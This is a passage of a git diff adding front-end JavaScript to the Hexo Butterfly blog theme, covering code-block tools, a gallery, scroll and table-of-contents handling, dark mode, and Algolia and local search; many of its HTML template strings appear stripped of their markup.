highlightHeightLimit + 30) { + const ele = document.createElement('div') + ele.className = 'code-expand-btn' + ele.innerHTML = '' + btf.addEventListenerPjax(ele, 'click', expandCode) + fragment.appendChild(ele) + } + + if (service === 'hl') { + item.insertBefore(fragment, item.firstChild) + } else { + item.parentNode.insertBefore(fragment, item) + } + } + + if (isPrismjs) { + $figureHighlight.forEach(item => { + if (highlightLang) { + const langName = item.getAttribute('data-language') || 'Code' + const highlightLangEle = `
    ${langName}
    ` + btf.wrap(item, 'figure', { class: 'highlight' }) + createEle(highlightLangEle, item) + } else { + btf.wrap(item, 'figure', { class: 'highlight' }) + createEle('', item) + } + }) + } else { + $figureHighlight.forEach(item => { + if (highlightLang) { + let langName = item.getAttribute('class').split(' ')[1] + if (langName === 'plain' || langName === undefined) langName = 'Code' + const highlightLangEle = `
    ${langName}
    ` + createEle(highlightLangEle, item, 'hl') + } else { + createEle('', item, 'hl') + } + }) + } + } + + /** + * PhotoFigcaption + */ + const addPhotoFigcaption = () => { + document.querySelectorAll('#article-container img').forEach(item => { + const altValue = item.title || item.alt + if (!altValue) return + const ele = document.createElement('div') + ele.className = 'img-alt is-center' + ele.textContent = altValue + item.insertAdjacentElement('afterend', ele) + }) + } + + /** + * Lightbox + */ + const runLightbox = () => { + btf.loadLightbox(document.querySelectorAll('#article-container img:not(.no-lightbox)')) + } + + /** + * justified-gallery 圖庫排版 + */ + + const fetchUrl = async (url) => { + const response = await fetch(url) + return await response.json() + } + + const runJustifiedGallery = (item, data, isButton = false, tabs) => { + const dataLength = data.length + + const ig = new InfiniteGrid.JustifiedInfiniteGrid(item, { + gap: 5, + isConstantSize: true, + sizeRange: [150, 600], + useResizeObserver: true, + observeChildren: true, + useTransform: true + // useRecycle: false + }) + + if (tabs) { + btf.addGlobalFn('igOfTabs', () => { ig.destroy() }, false, tabs) + } + + const replaceDq = str => str.replace(/"/g, '"') // replace double quotes to " + + const getItems = (nextGroupKey, count) => { + const nextItems = [] + const startCount = (nextGroupKey - 1) * count + + for (let i = 0; i < count; ++i) { + const num = startCount + i + if (num >= dataLength) { + break + } + + const item = data[num] + const alt = item.alt ? `alt="${replaceDq(item.alt)}"` : '' + const title = item.title ? `title="${replaceDq(item.title)}"` : '' + + nextItems.push(`
    + +
    `) + } + return nextItems + } + + const buttonText = GLOBAL_CONFIG.infinitegrid.buttonText + const addButton = item => { + const button = document.createElement('button') + button.textContent = buttonText + + const buttonFn = e => { + e.target.removeEventListener('click', buttonFn) + e.target.remove() + btf.setLoading.add(item) + appendItem(ig.getGroups().length + 1, 10) + } + + button.addEventListener('click', buttonFn) + item.insertAdjacentElement('afterend', button) + } + + const appendItem = (nextGroupKey, count) => { + ig.append(getItems(nextGroupKey, count), nextGroupKey) + } + + const maxGroupKey = Math.ceil(dataLength / 10) + + const completeFn = e => { + const { updated, isResize, mounted } = e + if (!updated.length || !mounted.length || isResize) { + return + } + + btf.loadLightbox(item.querySelectorAll('img:not(.medium-zoom-image)')) + + if (ig.getGroups().length === maxGroupKey) { + btf.setLoading.remove(item) + ig.off('renderComplete', completeFn) + return + } + + if (isButton) { + btf.setLoading.remove(item) + addButton(item) + } + } + + const requestAppendFn = btf.debounce(e => { + const nextGroupKey = (+e.groupKey || 0) + 1 + appendItem(nextGroupKey, 10) + + if (nextGroupKey === maxGroupKey) { + ig.off('requestAppend', requestAppendFn) + } + }, 300) + + btf.setLoading.add(item) + ig.on('renderComplete', completeFn) + + if (isButton) { + appendItem(1, 10) + } else { + ig.on('requestAppend', requestAppendFn) + ig.renderItems() + } + + btf.addGlobalFn('justifiedGallery', () => { ig.destroy() }) + } + + const addJustifiedGallery = async (ele, tabs = false) => { + const init = async () => { + for (const item of ele) { + if (btf.isHidden(item)) continue + if (tabs && item.classList.contains('loaded')) { + item.querySelector('.gallery-items').innerHTML = '' + const button = item.querySelector(':scope > button') + const loadingContainer = item.querySelector(':scope > .loading-container') + button && button.remove() + loadingContainer && loadingContainer.remove() + } + + const isButton = item.getAttribute('data-button') === 'true' + const text = item.firstElementChild.textContent + item.classList.add('loaded') + const content = item.getAttribute('data-type') === 'url' ? await fetchUrl(text) : JSON.parse(text) + runJustifiedGallery(item.lastElementChild, content, isButton, tabs) + } + } + + if (typeof InfiniteGrid === 'function') { + init() + } else { + await getScript(`${GLOBAL_CONFIG.infinitegrid.js}`) + init() + } + } + + /** + * rightside scroll percent + */ + const rightsideScrollPercent = currentTop => { + const scrollPercent = btf.getScrollPercent(currentTop, document.body) + const goUpElement = document.getElementById('go-up') + + if (scrollPercent < 95) { + goUpElement.classList.add('show-percent') + goUpElement.querySelector('.scroll-percent').textContent = scrollPercent + } else { + goUpElement.classList.remove('show-percent') + } + } + + /** + * 滾動處理 + */ + const scrollFn = () => { + const $rightside = document.getElementById('rightside') + const innerHeight = window.innerHeight + 56 + let initTop = 0 + const $header = document.getElementById('page-header') + const isChatBtn = typeof chatBtn !== 'undefined' + const isShowPercent = GLOBAL_CONFIG.percent.rightside + + // 當滾動條小于 56 的時候 + if (document.body.scrollHeight <= innerHeight) { + $rightside.classList.add('rightside-show') + return + } + + // find the scroll direction + const scrollDirection = currentTop => { + const result = currentTop > initTop // true is down & false is up + initTop = currentTop + return result + } + + let flag = '' + const scrollTask = btf.throttle(() => { + const currentTop = window.scrollY || document.documentElement.scrollTop + const isDown = scrollDirection(currentTop) + if (currentTop > 56) { + if (flag === '') { + $header.classList.add('nav-fixed') + $rightside.classList.add('rightside-show') + } + + if (isDown) { + if (flag !== 'down') { + $header.classList.remove('nav-visible') + isChatBtn && window.chatBtn.hide() + flag = 'down' + } + } else { + if (flag !== 'up') { + $header.classList.add('nav-visible') + isChatBtn && window.chatBtn.show() + flag = 'up' + } + } + } else { + flag = '' + if (currentTop === 0) { + $header.classList.remove('nav-fixed', 'nav-visible') + } + $rightside.classList.remove('rightside-show') + } + + isShowPercent && rightsideScrollPercent(currentTop) + + if (document.body.scrollHeight <= innerHeight) { + $rightside.classList.add('rightside-show') + } + }, 300) + + btf.addEventListenerPjax(window, 'scroll', scrollTask, { passive: true }) + } + + /** + * toc,anchor + */ + const scrollFnToDo = () => { + const isToc = GLOBAL_CONFIG_SITE.isToc + const isAnchor = GLOBAL_CONFIG.isAnchor + const $article = document.getElementById('article-container') + + if (!($article && (isToc || isAnchor))) return + + let $tocLink, $cardToc, autoScrollToc, $tocPercentage, isExpand + + if (isToc) { + const $cardTocLayout = document.getElementById('card-toc') + $cardToc = $cardTocLayout.querySelector('.toc-content') + $tocLink = $cardToc.querySelectorAll('.toc-link') + $tocPercentage = $cardTocLayout.querySelector('.toc-percentage') + isExpand = $cardToc.classList.contains('is-expand') + + // toc元素點擊 + const tocItemClickFn = e => { + const target = e.target.closest('.toc-link') + if (!target) return + + e.preventDefault() + btf.scrollToDest(btf.getEleTop(document.getElementById(decodeURI(target.getAttribute('href')).replace('#', ''))), 300) + if (window.innerWidth < 900) { + $cardTocLayout.classList.remove('open') + } + } + + btf.addEventListenerPjax($cardToc, 'click', tocItemClickFn) + + autoScrollToc = item => { + const activePosition = item.getBoundingClientRect().top + const sidebarScrollTop = $cardToc.scrollTop + if (activePosition > (document.documentElement.clientHeight - 100)) { + $cardToc.scrollTop = sidebarScrollTop + 150 + } + if (activePosition < 100) { + $cardToc.scrollTop = sidebarScrollTop - 150 + } + } + } + + // find head position & add active class + const $articleList = $article.querySelectorAll('h1,h2,h3,h4,h5,h6') + let detectItem = '' + const findHeadPosition = top => { + if (top === 0) { + return false + } + + let currentId = '' + let currentIndex = '' + + $articleList.forEach((ele, index) => { + if (top > btf.getEleTop(ele) - 80) { + const id = ele.id + currentId = id ? '#' + encodeURI(id) : '' + currentIndex = index + } + }) + + if (detectItem === currentIndex) return + + if (isAnchor) btf.updateAnchor(currentId) + + detectItem = currentIndex + + if (isToc) { + $cardToc.querySelectorAll('.active').forEach(i => { i.classList.remove('active') }) + + if (currentId === '') { + return + } + + const currentActive = $tocLink[currentIndex] + currentActive.classList.add('active') + + setTimeout(() => { + autoScrollToc(currentActive) + }, 0) + + if (isExpand) return + let parent = currentActive.parentNode + + for (; !parent.matches('.toc'); parent = parent.parentNode) { + if (parent.matches('li')) parent.classList.add('active') + } + } + } + + // main of scroll + const tocScrollFn = btf.throttle(() => { + const currentTop = window.scrollY || document.documentElement.scrollTop + if (isToc && GLOBAL_CONFIG.percent.toc) { + $tocPercentage.textContent = btf.getScrollPercent(currentTop, $article) + } + findHeadPosition(currentTop) + }, 100) + + btf.addEventListenerPjax(window, 'scroll', tocScrollFn, { passive: true }) + } + + const handleThemeChange = mode => { + const globalFn = window.globalFn || {} + const themeChange = globalFn.themeChange || {} + if (!themeChange) { + return + } + + Object.keys(themeChange).forEach(key => { + const themeChangeFn = themeChange[key] + if (['disqus', 'disqusjs'].includes(key)) { + setTimeout(() => themeChangeFn(mode), 300) + } else { + themeChangeFn(mode) + } + }) + } + + /** + * Rightside + */ + const rightSideFn = { + readmode: () => { // read mode + const $body = document.body + $body.classList.add('read-mode') + const newEle = document.createElement('button') + newEle.type = 'button' + newEle.className = 'fas fa-sign-out-alt exit-readmode' + $body.appendChild(newEle) + + const clickFn = () => { + $body.classList.remove('read-mode') + newEle.remove() + newEle.removeEventListener('click', clickFn) + } + + newEle.addEventListener('click', clickFn) + }, + darkmode: () => { // switch between light and dark mode + const willChangeMode = document.documentElement.getAttribute('data-theme') === 'dark' ? 'light' : 'dark' + if (willChangeMode === 'dark') { + activateDarkMode() + GLOBAL_CONFIG.Snackbar !== undefined && btf.snackbarShow(GLOBAL_CONFIG.Snackbar.day_to_night) + } else { + activateLightMode() + GLOBAL_CONFIG.Snackbar !== undefined && btf.snackbarShow(GLOBAL_CONFIG.Snackbar.night_to_day) + } + saveToLocal.set('theme', willChangeMode, 2) + handleThemeChange(willChangeMode) + }, + 'rightside-config': item => { // Show or hide rightside-hide-btn + const hideLayout = item.firstElementChild + if (hideLayout.classList.contains('show')) { + hideLayout.classList.add('status') + setTimeout(() => { + hideLayout.classList.remove('status') + }, 300) + } + + hideLayout.classList.toggle('show') + }, + 'go-up': () => { // Back to top + btf.scrollToDest(0, 500) + }, + 'hide-aside-btn': () => { // Hide aside + const $htmlDom = document.documentElement.classList + const saveStatus = $htmlDom.contains('hide-aside') ? 'show' : 'hide' + saveToLocal.set('aside-status', saveStatus, 2) + $htmlDom.toggle('hide-aside') + }, + 'mobile-toc-button': item => { // Show mobile toc + const tocEle = document.getElementById('card-toc') + tocEle.style.transition = 'transform 0.3s ease-in-out' + tocEle.classList.toggle('open') + tocEle.addEventListener('transitionend', () => { + tocEle.style.transition = '' + }, { once: true }) + }, + 'chat-btn': () => { // Show chat + window.chatBtnFn() + }, + translateLink: () => { // switch between traditional and simplified chinese + window.translateFn.translatePage() + } + } + + document.getElementById('rightside').addEventListener('click', function (e) { + const $target = e.target.closest('[id]') + if ($target && rightSideFn[$target.id]) { + rightSideFn[$target.id](this) + } + }) + + /** + * menu + * 側邊欄sub-menu 展開/收縮 + */ + const clickFnOfSubMenu = () => { + const handleClickOfSubMenu = e => { + const target = e.target.closest('.site-page.group') + if (!target) return + target.classList.toggle('hide') + } + + document.querySelector('#sidebar-menus .menus_items').addEventListener('click', handleClickOfSubMenu) + } + + /** + * 手机端目录点击 + */ + const openMobileMenu = () => { + const handleClick = () => { sidebarFn.open() } + btf.addEventListenerPjax(document.getElementById('toggle-menu'), 'click', handleClick) + } + + /** + * 複製時加上版權信息 + */ + const addCopyright = () => { + const { limitCount, languages } = GLOBAL_CONFIG.copyright + + const handleCopy = (e) => { + e.preventDefault() + const copyFont = window.getSelection(0).toString() + let textFont = copyFont + if (copyFont.length > limitCount) { + textFont = `${copyFont}\n\n\n${languages.author}\n${languages.link}${window.location.href}\n${languages.source}\n${languages.info}` + } + if (e.clipboardData) { + return e.clipboardData.setData('text', textFont) + } else { + return window.clipboardData.setData('text', textFont) + } + } + + document.body.addEventListener('copy', handleCopy) + } + + /** + * 網頁運行時間 + */ + const addRuntime = () => { + const $runtimeCount = document.getElementById('runtimeshow') + if ($runtimeCount) { + const publishDate = $runtimeCount.getAttribute('data-publishDate') + $runtimeCount.textContent = `${btf.diffDate(publishDate)} ${GLOBAL_CONFIG.runtime}` + } + } + + /** + * 最後一次更新時間 + */ + const addLastPushDate = () => { + const $lastPushDateItem = document.getElementById('last-push-date') + if ($lastPushDateItem) { + const lastPushDate = $lastPushDateItem.getAttribute('data-lastPushDate') + $lastPushDateItem.textContent = btf.diffDate(lastPushDate, true) + } + } + + /** + * table overflow + */ + const addTableWrap = () => { + const $table = document.querySelectorAll('#article-container table') + if (!$table.length) return + + $table.forEach(item => { + if (!item.closest('.highlight')) { + btf.wrap(item, 'div', { class: 'table-wrap' }) + } + }) + } + + /** + * tag-hide + */ + const clickFnOfTagHide = () => { + const hideButtons = document.querySelectorAll('#article-container .hide-button') + if (!hideButtons.length) return + const handleClick = function (e) { + const $this = this + $this.classList.add('open') + const $fjGallery = $this.nextElementSibling.querySelectorAll('.gallery-container') + $fjGallery.length && addJustifiedGallery($fjGallery) + } + + hideButtons.forEach(item => { + item.addEventListener('click', handleClick, { once: true }) + }) + } + + const tabsFn = () => { + const navTabsElement = document.querySelectorAll('#article-container .tabs') + if (!navTabsElement.length) return + + const removeAndAddActiveClass = (elements, detect) => { + Array.from(elements).forEach(element => { + element.classList.remove('active') + if (element === detect || element.id === detect) { + element.classList.add('active') + } + }) + } + + const addTabNavEventListener = (item, isJustifiedGallery) => { + const navClickHandler = function (e) { + const target = e.target.closest('button') + if (target.classList.contains('active')) return + removeAndAddActiveClass(this.children, target) + this.classList.remove('no-default') + const tabId = target.getAttribute('data-href') + const tabContent = this.nextElementSibling + removeAndAddActiveClass(tabContent.children, tabId) + if (isJustifiedGallery) { + btf.removeGlobalFnEvent('igOfTabs', this) + const justifiedGalleryItems = tabContent.querySelectorAll(`:scope > #${tabId} .gallery-container`) + justifiedGalleryItems.length && addJustifiedGallery(justifiedGalleryItems, this) + } + } + btf.addEventListenerPjax(item.firstElementChild, 'click', navClickHandler) + } + + const addTabToTopEventListener = item => { + const btnClickHandler = (e) => { + const target = e.target.closest('button') + if (!target) return + btf.scrollToDest(btf.getEleTop(item), 300) + } + btf.addEventListenerPjax(item.lastElementChild, 'click', btnClickHandler) + } + + navTabsElement.forEach(item => { + const isJustifiedGallery = !!item.querySelectorAll('.gallery-container') + addTabNavEventListener(item, isJustifiedGallery) + addTabToTopEventListener(item) + }) + } + + const toggleCardCategory = () => { + const cardCategory = document.querySelector('#aside-cat-list.expandBtn') + if (!cardCategory) return + + const handleToggleBtn = (e) => { + const target = e.target + if (target.nodeName === 'I') { + e.preventDefault() + target.parentNode.classList.toggle('expand') + } + } + btf.addEventListenerPjax(cardCategory, 'click', handleToggleBtn, true) + } + + const switchComments = () => { + const switchBtn = document.getElementById('switch-btn') + if (!switchBtn) return + let switchDone = false + const commentContainer = document.getElementById('post-comment') + const handleSwitchBtn = () => { + commentContainer.classList.toggle('move') + if (!switchDone) { + switchDone = true + loadOtherComment() + } + } + btf.addEventListenerPjax(switchBtn, 'click', handleSwitchBtn) + } + + const addPostOutdateNotice = () => { + const { limitDay, messagePrev, messageNext, position } = GLOBAL_CONFIG.noticeOutdate + const diffDay = btf.diffDate(GLOBAL_CONFIG_SITE.postUpdate) + if (diffDay >= limitDay) { + const ele = document.createElement('div') + ele.className = 'post-outdate-notice' + ele.textContent = `${messagePrev} ${diffDay} ${messageNext}` + const $targetEle = document.getElementById('article-container') + if (position === 'top') { + $targetEle.insertBefore(ele, $targetEle.firstChild) + } else { + $targetEle.appendChild(ele) + } + } + } + + const lazyloadImg = () => { + window.lazyLoadInstance = new LazyLoad({ + elements_selector: 'img', + threshold: 0, + data_src: 'lazy-src' + }) + } + + const relativeDate = function (selector) { + selector.forEach(item => { + const timeVal = item.getAttribute('datetime') + item.textContent = btf.diffDate(timeVal, true) + item.style.display = 'inline' + }) + } + + const unRefreshFn = function () { + window.addEventListener('resize', () => { + adjustMenu(false) + mobileSidebarOpen && btf.isHidden(document.getElementById('toggle-menu')) && sidebarFn.close() + }) + + document.getElementById('menu-mask').addEventListener('click', e => { sidebarFn.close() }) + + clickFnOfSubMenu() + GLOBAL_CONFIG.islazyload && lazyloadImg() + GLOBAL_CONFIG.copyright !== undefined && addCopyright() + + if (GLOBAL_CONFIG.autoDarkmode) { + window.matchMedia('(prefers-color-scheme: dark)').addEventListener('change', e => { + if (saveToLocal.get('theme') !== undefined) return + e.matches ? handleThemeChange('dark') : handleThemeChange('light') + }) + } + } + + window.refreshFn = function () { + initAdjust() + + if (GLOBAL_CONFIG_SITE.isPost) { + GLOBAL_CONFIG.noticeOutdate !== undefined && addPostOutdateNotice() + GLOBAL_CONFIG.relativeDate.post && relativeDate(document.querySelectorAll('#post-meta time')) + } else { + GLOBAL_CONFIG.relativeDate.homepage && relativeDate(document.querySelectorAll('#recent-posts time')) + GLOBAL_CONFIG.runtime && addRuntime() + addLastPushDate() + toggleCardCategory() + } + + scrollFnToDo() + GLOBAL_CONFIG_SITE.isHome && scrollDownInIndex() + addHighlightTool() + GLOBAL_CONFIG.isPhotoFigcaption && addPhotoFigcaption() + scrollFn() + + btf.removeGlobalFnEvent('justifiedGallery') + const galleryContainer = document.querySelectorAll('#article-container .gallery-container') + galleryContainer.length && addJustifiedGallery(galleryContainer) + + runLightbox() + addTableWrap() + clickFnOfTagHide() + tabsFn() + switchComments() + openMobileMenu() + } + + refreshFn() + unRefreshFn() +}) diff --git a/js/search/algolia.js b/js/search/algolia.js new file mode 100644 index 000000000..9ce7b0ef5 --- /dev/null +++ b/js/search/algolia.js @@ -0,0 +1,177 @@ +window.addEventListener('load', () => { + const $searchMask = document.getElementById('search-mask') + const $searchDialog = document.querySelector('#algolia-search .search-dialog') + + const openSearch = () => { + const bodyStyle = document.body.style + bodyStyle.width = '100%' + bodyStyle.overflow = 'hidden' + btf.animateIn($searchMask, 'to_show 0.5s') + btf.animateIn($searchDialog, 'titleScale 0.5s') + setTimeout(() => { document.querySelector('#algolia-search .ais-SearchBox-input').focus() }, 100) + + // shortcut: ESC + document.addEventListener('keydown', function f (event) { + if (event.code === 'Escape') { + closeSearch() + document.removeEventListener('keydown', f) + } + }) + + fixSafariHeight() + window.addEventListener('resize', fixSafariHeight) + } + + const closeSearch = () => { + const bodyStyle = document.body.style + bodyStyle.width = '' + bodyStyle.overflow = '' + btf.animateOut($searchDialog, 'search_close .5s') + btf.animateOut($searchMask, 'to_hide 0.5s') + window.removeEventListener('resize', fixSafariHeight) + } + + // fix safari + const fixSafariHeight = () => { + if (window.innerWidth < 768) { + $searchDialog.style.setProperty('--search-height', window.innerHeight + 'px') + } + } + + const searchClickFn = () => { + btf.addEventListenerPjax(document.querySelector('#search-button > .search'), 'click', openSearch) + } + + const searchFnOnce = () => { + $searchMask.addEventListener('click', closeSearch) + document.querySelector('#algolia-search .search-close-button').addEventListener('click', closeSearch) + } + + const cutContent = content => { + if (content === '') return '' + + const firstOccur = content.indexOf('') + + let start = firstOccur - 30 + let end = firstOccur + 120 + let pre = '' + let post = '' + + if (start <= 0) { + start = 0 + end = 140 + } else { + pre = '...' + } + + if (end > content.length) { + end = content.length + } else { + post = '...' + } + + const matchContent = pre + content.substring(start, end) + post + return matchContent + } + + const algolia = GLOBAL_CONFIG.algolia + const isAlgoliaValid = algolia.appId && algolia.apiKey && algolia.indexName + if (!isAlgoliaValid) { + return console.error('Algolia setting is invalid!') + } + + const search = instantsearch({ + indexName: algolia.indexName, + /* global algoliasearch */ + searchClient: algoliasearch(algolia.appId, algolia.apiKey), + searchFunction (helper) { + helper.state.query && helper.search() + } + }) + + const configure = instantsearch.widgets.configure({ + hitsPerPage: 5 + }) + + const searchBox = instantsearch.widgets.searchBox({ + container: '#algolia-search-input', + showReset: false, + showSubmit: false, + placeholder: GLOBAL_CONFIG.algolia.languages.input_placeholder, + showLoadingIndicator: true + }) + + const hits = instantsearch.widgets.hits({ + container: '#algolia-hits', + templates: { + item (data) { + const link = data.permalink ? data.permalink : (GLOBAL_CONFIG.root + data.path) + const result = data._highlightResult + const content = result.contentStripTruncate + ? cutContent(result.contentStripTruncate.value) + : result.contentStrip + ? cutContent(result.contentStrip.value) + : result.content + ? cutContent(result.content.value) + : '' + return ` + + ${result.title.value || 'no-title'} +

    ${content}

    +
    ` + }, + empty: function (data) { + return ( + '
    ' + + GLOBAL_CONFIG.algolia.languages.hits_empty.replace(/\$\{query}/, data.query) + + '
    ' + ) + } + } + }) + + const stats = instantsearch.widgets.stats({ + container: '#algolia-info > .algolia-stats', + templates: { + text: function (data) { + const stats = GLOBAL_CONFIG.algolia.languages.hits_stats + .replace(/\$\{hits}/, data.nbHits) + .replace(/\$\{time}/, data.processingTimeMS) + return ( + `
    ${stats}` + ) + } + } + }) + + const powerBy = instantsearch.widgets.poweredBy({ + container: '#algolia-info > .algolia-poweredBy' + }) + + const pagination = instantsearch.widgets.pagination({ + container: '#algolia-pagination', + totalPages: 5, + templates: { + first: '', + last: '', + previous: '', + next: '' + } + }) + + search.addWidgets([configure, searchBox, hits, stats, powerBy, pagination]) // add the widgets to the instantsearch instance + + search.start() + + searchClickFn() + searchFnOnce() + + window.addEventListener('pjax:complete', () => { + !btf.isHidden($searchMask) && closeSearch() + searchClickFn() + }) + + window.pjax && search.on('render', () => { + window.pjax.refresh(document.getElementById('algolia-hits')) + }) +}) diff --git a/js/search/local-search.js b/js/search/local-search.js new file mode 100644 index 000000000..0eecff6b0 --- /dev/null +++ b/js/search/local-search.js @@ -0,0 +1,364 @@ +/** + * Refer to hexo-generator-searchdb + * https://github.com/next-theme/hexo-generator-searchdb/blob/main/dist/search.js + * Modified by hexo-theme-butterfly + */ + +class LocalSearch { + constructor ({ + path = '', + unescape = false, + top_n_per_article = 1 + }) { + this.path = path + this.unescape = unescape + this.top_n_per_article = top_n_per_article + this.isfetched = false + this.datas = null + } + + getIndexByWord (words, text, caseSensitive = false) { + const index = [] + const included = new Set() + + if (!caseSensitive) { + text = text.toLowerCase() + } + words.forEach(word => { + if (this.unescape) { + const div = document.createElement('div') + div.innerText = word + word = div.innerHTML + } + const wordLen = word.length + if (wordLen === 0) return + let startPosition = 0 + let position = -1 + if (!caseSensitive) { + word = word.toLowerCase() + } + while ((position = text.indexOf(word, startPosition)) > -1) { + index.push({ position, word }) + included.add(word) + startPosition = position + wordLen + } + }) + // Sort index by position of keyword + index.sort((left, right) => { + if (left.position !== right.position) { + return left.position - right.position + } + return right.word.length - left.word.length + }) + return [index, included] + } + + // Merge hits into slices + mergeIntoSlice (start, end, index) { + let item = index[0] + let { position, word } = item + const hits = [] + const count = new Set() + while (position + word.length <= end && index.length !== 0) { + count.add(word) + hits.push({ + position, + length: word.length + }) + const wordEnd = position + word.length + + // Move to next position of hit + index.shift() + while (index.length !== 0) { + item = index[0] + position = item.position + word = item.word + if (wordEnd > position) { + index.shift() + } else { + break + } + } + } + return { + hits, + start, + end, + count: count.size + } + } + + // Highlight title and content + highlightKeyword (val, slice) { + let result = '' + let index = slice.start + for (const { position, length } of slice.hits) { + result += val.substring(index, position) + index = position + length + result += `${val.substr(position, length)}` + } + result += val.substring(index, slice.end) + return result + } + + getResultItems (keywords) { + const resultItems = [] + this.datas.forEach(({ title, content, url }) => { + // The number of different keywords included in the article. + const [indexOfTitle, keysOfTitle] = this.getIndexByWord(keywords, title) + const [indexOfContent, keysOfContent] = this.getIndexByWord(keywords, content) + const includedCount = new Set([...keysOfTitle, ...keysOfContent]).size + + // Show search results + const hitCount = indexOfTitle.length + indexOfContent.length + if (hitCount === 0) return + + const slicesOfTitle = [] + if (indexOfTitle.length !== 0) { + slicesOfTitle.push(this.mergeIntoSlice(0, title.length, indexOfTitle)) + } + + let slicesOfContent = [] + while (indexOfContent.length !== 0) { + const item = indexOfContent[0] + const { position } = item + // Cut out 120 characters. The maxlength of .search-input is 80. + const start = Math.max(0, position - 20) + const end = Math.min(content.length, position + 100) + slicesOfContent.push(this.mergeIntoSlice(start, end, indexOfContent)) + } + + // Sort slices in content by included keywords' count and hits' count + slicesOfContent.sort((left, right) => { + if (left.count !== right.count) { + return right.count - left.count + } else if (left.hits.length !== right.hits.length) { + return right.hits.length - left.hits.length + } + return left.start - right.start + }) + + // Select top N slices in content + const upperBound = parseInt(this.top_n_per_article, 10) + if (upperBound >= 0) { + slicesOfContent = slicesOfContent.slice(0, upperBound) + } + + let resultItem = '' + + url = new URL(url, location.origin) + url.searchParams.append('highlight', keywords.join(' ')) + + if (slicesOfTitle.length !== 0) { + resultItem += `
    ${this.highlightKeyword(title, slicesOfTitle[0])}` + } else { + resultItem += `' + resultItems.push({ + item: resultItem, + id: resultItems.length, + hitCount, + includedCount + }) + }) + return resultItems + } + + fetchData () { + const isXml = !this.path.endsWith('json') + fetch(this.path) + .then(response => response.text()) + .then(res => { + // Get the contents from search data + this.isfetched = true + this.datas = isXml + ? [...new DOMParser().parseFromString(res, 'text/xml').querySelectorAll('entry')].map(element => ({ + title: element.querySelector('title').textContent, + content: element.querySelector('content').textContent, + url: element.querySelector('url').textContent + })) + : JSON.parse(res) + // Only match articles with non-empty titles + this.datas = this.datas.filter(data => data.title).map(data => { + data.title = data.title.trim() + data.content = data.content ? data.content.trim().replace(/<[^>]+>/g, '') : '' + data.url = decodeURIComponent(data.url).replace(/\/{2,}/g, '/') + return data + }) + // Remove loading animation + window.dispatchEvent(new Event('search:loaded')) + }) + } + + // Highlight by wrapping node in mark elements with the given class name + highlightText (node, slice, className) { + const val = node.nodeValue + let index = slice.start + const children = [] + for (const { position, length } of slice.hits) { + const text = document.createTextNode(val.substring(index, position)) + index = position + length + const mark = document.createElement('mark') + mark.className = className + mark.appendChild(document.createTextNode(val.substr(position, length))) + children.push(text, mark) + } + node.nodeValue = val.substring(index, slice.end) + children.forEach(element => { + node.parentNode.insertBefore(element, node) + }) + } + + // Highlight the search words provided in the url in the text + highlightSearchWords (body) { + const params = new URL(location.href).searchParams.get('highlight') + const keywords = params ? params.split(' ') : [] + if (!keywords.length || !body) return + const walk = document.createTreeWalker(body, NodeFilter.SHOW_TEXT, null) + const allNodes = [] + while (walk.nextNode()) { + if (!walk.currentNode.parentNode.matches('button, select, textarea, .mermaid')) allNodes.push(walk.currentNode) + } + allNodes.forEach(node => { + const [indexOfNode] = this.getIndexByWord(keywords, node.nodeValue) + if (!indexOfNode.length) return + const slice = this.mergeIntoSlice(0, node.nodeValue.length, indexOfNode) + this.highlightText(node, slice, 'search-keyword') + }) + } +} + +window.addEventListener('load', () => { +// Search + const { path, top_n_per_article, unescape, languages } = GLOBAL_CONFIG.localSearch + const localSearch = new LocalSearch({ + path, + top_n_per_article, + unescape + }) + + const input = document.querySelector('#local-search-input input') + const statsItem = document.getElementById('local-search-stats-wrap') + const $loadingStatus = document.getElementById('loading-status') + const isXml = !path.endsWith('json') + + const inputEventFunction = () => { + if (!localSearch.isfetched) return + let searchText = input.value.trim().toLowerCase() + isXml && (searchText = searchText.replace(//g, '>')) + if (searchText !== '') $loadingStatus.innerHTML = '' + const keywords = searchText.split(/[-\s]+/) + const container = document.getElementById('local-search-results') + let resultItems = [] + if (searchText.length > 0) { + // Perform local searching + resultItems = localSearch.getResultItems(keywords) + } + if (keywords.length === 1 && keywords[0] === '') { + container.textContent = '' + statsItem.textContent = '' + } else if (resultItems.length === 0) { + container.textContent = '' + const statsDiv = document.createElement('div') + statsDiv.className = 'search-result-stats' + statsDiv.textContent = languages.hits_empty.replace(/\$\{query}/, searchText) + statsItem.innerHTML = statsDiv.outerHTML + } else { + resultItems.sort((left, right) => { + if (left.includedCount !== right.includedCount) { + return right.includedCount - left.includedCount + } else if (left.hitCount !== right.hitCount) { + return right.hitCount - left.hitCount + } + return right.id - left.id + }) + + const stats = languages.hits_stats.replace(/\$\{hits}/, resultItems.length) + + container.innerHTML = `
    ${resultItems.map(result => result.item).join('')}
    ` + statsItem.innerHTML = `
    ${stats}
    ` + window.pjax && window.pjax.refresh(container) + } + + $loadingStatus.textContent = '' + } + + let loadFlag = false + const $searchMask = document.getElementById('search-mask') + const $searchDialog = document.querySelector('#local-search .search-dialog') + + // fix safari + const fixSafariHeight = () => { + if (window.innerWidth < 768) { + $searchDialog.style.setProperty('--search-height', window.innerHeight + 'px') + } + } + + const openSearch = () => { + const bodyStyle = document.body.style + bodyStyle.width = '100%' + bodyStyle.overflow = 'hidden' + btf.animateIn($searchMask, 'to_show 0.5s') + btf.animateIn($searchDialog, 'titleScale 0.5s') + setTimeout(() => { input.focus() }, 300) + if (!loadFlag) { + !localSearch.isfetched && localSearch.fetchData() + input.addEventListener('input', inputEventFunction) + loadFlag = true + } + // shortcut: ESC + document.addEventListener('keydown', function f (event) { + if (event.code === 'Escape') { + closeSearch() + document.removeEventListener('keydown', f) + } + }) + + fixSafariHeight() + window.addEventListener('resize', fixSafariHeight) + } + + const closeSearch = () => { + const bodyStyle = document.body.style + bodyStyle.width = '' + bodyStyle.overflow = '' + btf.animateOut($searchDialog, 'search_close .5s') + btf.animateOut($searchMask, 'to_hide 0.5s') + window.removeEventListener('resize', fixSafariHeight) + } + + const searchClickFn = () => { + btf.addEventListenerPjax(document.querySelector('#search-button > .search'), 'click', openSearch) + } + + const searchFnOnce = () => { + document.querySelector('#local-search .search-close-button').addEventListener('click', closeSearch) + $searchMask.addEventListener('click', closeSearch) + if (GLOBAL_CONFIG.localSearch.preload) { + localSearch.fetchData() + } + localSearch.highlightSearchWords(document.getElementById('article-container')) + } + + window.addEventListener('search:loaded', () => { + const $loadDataItem = document.getElementById('loading-database') + $loadDataItem.nextElementSibling.style.display = 'block' + $loadDataItem.remove() + }) + + searchClickFn() + searchFnOnce() + + // 